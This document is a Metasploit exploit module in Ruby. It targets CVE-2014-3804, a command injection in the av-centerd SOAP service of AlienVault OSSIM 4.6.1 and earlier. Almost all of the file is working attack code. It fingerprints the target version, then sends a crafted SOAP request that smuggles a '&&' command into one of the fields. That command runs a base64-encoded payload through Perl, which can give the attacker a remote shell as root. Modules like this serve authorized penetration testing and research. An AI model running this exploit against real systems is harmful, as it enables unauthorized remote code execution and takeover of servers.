1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'rexml/document'
7

8
class MetasploitModule < Msf::Exploit::Remote
9
  Rank = ExcellentRanking
10

11
  include Msf::Exploit::Remote::HttpClient
12
  include REXML
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name' => 'AlienVault OSSIM av-centerd Command Injection',
19
        'Description' => %q{
20
          This module exploits a code execution flaw in AlienVault 4.6.1 and
21
          prior.  The vulnerability exists in the av-centerd SOAP web service,
22
          where the update_system_info_debian_package method uses perl backticks
23
          in an insecure way, allowing command injection. This module has been
24
          tested successfully on AlienVault 4.6.0.
25
        },
26
        'Author' => [
27
          'Unknown', # From HP ZDI team, Vulnerability discovery
28
          'juan vazquez' # Metasploit module
29
        ],
30
        'License' => MSF_LICENSE,
31
        'References' => [
32
          ['CVE', '2014-3804'],
33
          ['BID', '67999'],
34
          ['ZDI', '14-202'],
35
          ['URL', 'http://forums.alienvault.com/discussion/2690']
36
        ],
37
        'Privileged' => true,
38
        'Platform' => 'unix',
39
        'Arch' => ARCH_CMD,
40
        'Payload' => {
41
          # 'BadChars'   => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
42
          'Compat' => {
43
            'RequiredCmd' => 'perl netcat-e openssl python gawk'
44
          }
45
        },
46
        'DefaultOptions' => {
47
          'SSL' => true
48
        },
49
        'Targets' => [
50
          [ 'AlienVault <= 4.6.1', {}]
51
        ],
52
        'DefaultTarget' => 0,
53
        'DisclosureDate' => '2014-05-05',
54
        'Notes' => {
55
          'Stability' => [CRASH_SAFE],
56
          'SideEffects' => [IOC_IN_LOGS],
57
          'Reliability' => [REPEATABLE_SESSION]
58
        }
59
      )
60
    )
61

62
    register_options(
63
      [
64
        Opt::RPORT(40007)
65
      ]
66
    )
67
  end
68

69
  def check
70
    res = send_soap_request('get_dpkg')
71

72
    return CheckCode::Unknown('Connection failed') unless res
73

74
    version = ''
75
    if res.code == 200 &&
76
       res.headers['SOAPServer'] &&
77
       res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
78
       res.body.to_s =~ /alienvault-center\s*([\d.]*)-\d/
79

80
      version = ::Regexp.last_match(1)
81
    end
82

83
    return CheckCode::Safe if version.blank?
84

85
    if version >= '4.7.0'
86
      return CheckCode::Safe("AlienVault version #{version} is not vulnerable")
87
    end
88

89
    CheckCode::Appears("AlienVault version #{version} appears vulnerable")
90
  end
91

92
  def exploit
93
    send_soap_request('update_system_info_debian_package', 1)
94
  end
95

96
  def build_soap_request(method)
97
    xml = Document.new
98
    xml.add_element(
99
      'soap:Envelope',
100
      {
101
        'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
102
        'xmlns:soapenc' => 'http://schemas.xmlsoap.org/soap/encoding/',
103
        'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema',
104
        'soap:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/',
105
        'xmlns:soap' => 'http://schemas.xmlsoap.org/soap/envelope/'
106
      }
107
    )
108
    body = xml.root.add_element('soap:Body')
109
    m = body.add_element(
110
      method,
111
      {
112
        'xmlns' => 'AV/CC/Util'
113
      }
114
    )
115
    args = []
116
    args[0] = m.add_element('c-gensym3', { 'xsi:type' => 'xsd:string' })
117
    args[1] = m.add_element('c-gensym5', { 'xsi:type' => 'xsd:string' })
118
    args[2] = m.add_element('c-gensym7', { 'xsi:type' => 'xsd:string' })
119
    args[3] = m.add_element('c-gensym9', { 'xsi:type' => 'xsd:string' })
120
    (0..3).each { |i| args[i].text = rand_text_alpha(4..7) }
121

122
    if method == 'update_system_info_debian_package'
123
      args[4] = m.add_element('c-gensym11', { 'xsi:type' => 'xsd:string' })
124
      perl_payload = 'system(decode_base64'
125
      perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
126
      args[4].text = rand_text_alpha(4..7).to_s
127
      args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
128
    end
129

130
    xml.to_s
131
  end
132

133
  def send_soap_request(method, timeout = 20)
134
    soap = build_soap_request(method)
135

136
    send_request_cgi({
137
      'uri' => '/av-centerd',
138
      'method' => 'POST',
139
      'ctype' => 'text/xml; charset=UTF-8',
140
      'data' => soap,
141
      'headers' => {
142
        'SOAPAction' => "\"AV/CC/Util##{method}\""
143
      }
144
    }, timeout)
145
  end
146
end
147

148